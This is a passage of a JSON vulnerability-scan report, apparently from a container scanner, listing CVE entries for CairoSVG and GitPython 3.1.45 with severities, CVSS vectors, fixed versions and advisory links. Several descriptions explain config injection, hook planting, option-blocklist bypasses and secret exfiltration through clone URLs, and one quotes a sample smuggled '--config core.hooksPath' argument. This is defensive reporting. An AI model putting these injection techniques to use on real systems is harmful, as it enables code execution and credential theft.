"Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31899", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:56697cd189d8d60b779f43cb47c2f712fe99f071c79fc938618da606954c9965", "Title": "CairoSVG: CairoSVG: Denial of Service via recursive \u003cuse\u003e element amplification", "Description": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31899", "https://github.com/Kozea/CairoSVG", "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf", "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c", "https://nvd.nist.gov/vuln/detail/CVE-2026-31899", "https://www.cve.org/CVERecord?id=CVE-2026-31899" ], "PublishedDate": "2026-03-13T19:54:38.19Z", "LastModifiedDate": "2026-06-17T10:34:43.337Z" }, { "VulnerabilityID": "CVE-2026-78676", "VendorIDs": [ "GHSA-284h-m62q-gf8w" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.59", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78676", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bec5ad9933c5de4d8cd523ef7d7bb946e15f5253bfced4dcd8ccb0c1010eb524", "Title": "gitpython: GitPython before 3.1.59 Remote Code Execution via Config Injection", "Description": "GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.", "Severity": "CRITICAL", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 4, "redhat": 4 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78676", "https://advisory.echohq.com/cve/CVE-2026-78676", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-78676", "https://www.cve.org/CVERecord?id=CVE-2026-78676", "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection" ], "PublishedDate": "2026-08-25T02:16:52.03Z", "LastModifiedDate": "2026-10-12T15:10:00.207Z" }, { "VulnerabilityID": "CVE-2026-114145", "VendorIDs": [ "GHSA-83vg-56qc-22m7" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.2.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114145", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:80f4b64de5a57c81965a297a783fd92190077b421daae746acf9b29852932df6", "Title": "GitPython: GitPython: arbitrary code execution via improper submodule path validation", "Description": "GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, create_submodule() in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes _clone_repo() before safely rejecting the destination. In 3.1.x, _validate_repo_path() does not exist and the call succeeds silently, while in 3.2.0 and later affected revisions the check in git/index/base.py raises ValueError only after the clone has written to disk and does not remove the planted file. An attacker-controlled submodule can therefore place an executable post-checkout hook that a later Git operation executes. Exploitation requires an application to accept an untrusted submodule path and a clone destination such as .git/hooks that is empty enough for Git to clone into it, which commonly means that default sample hooks are absent. This issue is fixed in version 3.2.1.", "Severity": "HIGH", "CweIDs": [ "CWE-696" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-114145", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697", "https://github.com/gitpython-developers/GitPython/pull/2264", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7", "https://nvd.nist.gov/vuln/detail/CVE-2026-114145", "https://www.cve.org/CVERecord?id=CVE-2026-114145" ], "PublishedDate": "2026-10-21T21:17:57.25Z", "LastModifiedDate": "2026-10-23T15:17:25.77Z" }, { "VulnerabilityID": "CVE-2026-42215", "VendorIDs": [ "GHSA-rpm5-65cw-6hj4" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.47", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42215", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:82a1cefd668ed65bdc5321ea85e1d7207631d328c026accb5d030e7563e3a1f7", "Title": "GitPython: GitPython: Arbitrary command execution due to bypass of dangerous Git option checks", "Description": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42215", "https://advisory.echohq.com/cve/CVE-2026-42215", "https://github.com/advisories/GHSA-rpm5-65cw-6hj4", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4", "https://nvd.nist.gov/vuln/detail/CVE-2026-42215", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-42215" ], "PublishedDate": "2026-05-07T19:16:01.64Z", "LastModifiedDate": "2026-06-17T10:47:31.463Z" }, { "VulnerabilityID": "CVE-2026-42284", "VendorIDs": [ "GHSA-x2qx-6953-8485" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.47", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42284", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:cfb016fd18280192b713d248dc7334e0e05c1b9dffc7e46076f29d1384ed8423", "Title": "GitPython: GitPython: Arbitrary code execution via improper validation of clone options", "Description": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "nvd": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42284", "https://advisory.echohq.com/cve/CVE-2026-42284", "https://github.com/advisories/GHSA-x2qx-6953-8485", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485", "https://nvd.nist.gov/vuln/detail/CVE-2026-42284", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-42284", "https://www.tenable.com/cve/CVE-2026-32686" ], "PublishedDate": "2026-05-07T19:16:01.783Z", "LastModifiedDate": "2026-06-17T10:47:37.963Z" }, { "VulnerabilityID": "CVE-2026-44243", "VendorIDs": [ "GHSA-7545-fcxq-7j24" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.48", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44243", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e1c240a9ca29d1204598ad78d8b11da68c6c52a9f829ec865ab1527cc3d5a3ec", "Title": "GitPython: GitPython: Arbitrary file write via crafted reference paths", "Description": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P", "V3Score": 7.1, "V40Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-44243", "https://advisory.echohq.com/cve/CVE-2026-44243", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24", "https://nvd.nist.gov/vuln/detail/CVE-2026-44243", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-44243" ], "PublishedDate": "2026-05-07T19:16:02.227Z", "LastModifiedDate": "2026-06-17T10:50:24.223Z" }, { "VulnerabilityID": "CVE-2026-44244", "VendorIDs": [ "GHSA-v87r-6q3f-2j67" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.49", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44244", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bbb087962873f972e041c4a9f4e022fb2bfcb283ca68d455862e7240471e1a07", "Title": "GitPython: GitPython: Arbitrary code execution via injected newlines in Git configuration", "Description": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.", "Severity": "HIGH", "CweIDs": [ "CWE-94" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-44244", "https://advisory.echohq.com/cve/CVE-2026-44244", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67", "https://nvd.nist.gov/vuln/detail/CVE-2026-44244", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-44244" ], "PublishedDate": "2026-05-07T19:16:02.357Z", "LastModifiedDate": "2026-06-17T10:50:24.35Z" }, { "VulnerabilityID": "CVE-2026-67322", "VendorIDs": [ "GHSA-rwj8-pgh3-r573" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.52", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67322", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:82d0f63cfe49a1b4a714550a0dc99e40e84071505ca15b4c18386d6e4c6b9876", "Title": "gitpython: GitPython: Environment variable exfiltration via attacker-controlled clone URL", "Description": "GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.", "Severity": "HIGH", "CweIDs": [ "CWE-200" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67322", "https://advisory.echohq.com/cve/CVE-2026-67322", "https://github.com/advisories/GHSA-rwj8-pgh3-r573", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2", "https://github.com/gitpython-developers/GitPython/pull/2172", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-67322", "https://pypi.org/project/gitpython", "https://www.cve.org/CVERecord?id=CVE-2026-67322", "https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from" ], "PublishedDate": "2026-08-01T13:17:02.493Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-67323", "VendorIDs": [ "GHSA-956x-8gvw-wg5v" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.51", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67323", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ae2b50c1319852c3101c9371bab347d771e1889e0b1a3d1a3cafb4a36f06755e", "Title": "gitpython: GitPython: Arbitrary code execution via command injection due to unguarded Git options", "Description": "GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=\u003cpath\u003e can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.", "Severity": "HIGH", "CweIDs": [ "CWE-77" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67323", "https://advisory.echohq.com/cve/CVE-2026-67323", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738", "https://github.com/gitpython-developers/GitPython/pull/2163", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v", "https://nvd.nist.gov/vuln/detail/CVE-2026-67323", "https://www.cve.org/CVERecord?id=CVE-2026-67323", "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options" ], "PublishedDate": "2026-08-01T13:17:02.637Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-67325", "VendorIDs": [ "GHSA-2f96-g7mh-g2hx" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.51", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67325", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:85b86d5fee46e54401ffd4ea4d6f21a3b9b79a3982307389f5ef058533bf7182", "Title": "gitpython: GitPython: Command Injection via Git option prefix abbreviation", "Description": "GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67325", "https://advisory.echohq.com/cve/CVE-2026-67325", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285", "https://github.com/gitpython-developers/GitPython/pull/2161", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx", "https://nvd.nist.gov/vuln/detail/CVE-2026-67325", "https://www.cve.org/CVERecord?id=CVE-2026-67325", "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation" ], "PublishedDate": "2026-08-01T13:17:02.923Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-69097", "VendorIDs": [ "GHSA-3rp5-jjmw-4wv2" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.53", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69097", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:4578cf7dfff4fd578aefceea8c2581e091bade7709c7da6baf15531b83a810fa", "Title": "gitpython: GitPython: Remote Code Execution via Config Injection in Submodule Names", "Description": "GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.", "Severity": "HIGH", "CweIDs": [ "CWE-74" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69097", "https://advisory.echohq.com/cve/GHSA-3rp5-jjmw-4wv2", "https://github.com/advisories/GHSA-3rp5-jjmw-4wv2", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1", "https://github.com/gitpython-developers/GitPython/pull/2176", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3981.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-69097", "https://www.cve.org/CVERecord?id=CVE-2026-69097", "https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names" ], "PublishedDate": "2026-08-03T14:16:30.677Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-76218", "VendorIDs": [ "GHSA-9rj7-rf2p-w77r" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76218", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2d3b5017afcad13d78ea218a3103427379e4d61923d11eecda385c0cad9d997d", "Title": "gitpython: GitPython: Remote Code Execution via malicious Git hooks", "Description": "GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76218", "https://advisory.echohq.com/cve/CVE-2026-76218", "https://github.com/advisories/GHSA-9rj7-rf2p-w77r", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r", "https://nvd.nist.gov/vuln/detail/CVE-2026-76218", "https://www.cve.org/CVERecord?id=CVE-2026-76218", "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init" ], "PublishedDate": "2026-08-19T14:17:48.04Z", "LastModifiedDate": "2026-09-03T15:03:14.043Z" }, { "VulnerabilityID": "CVE-2026-76219", 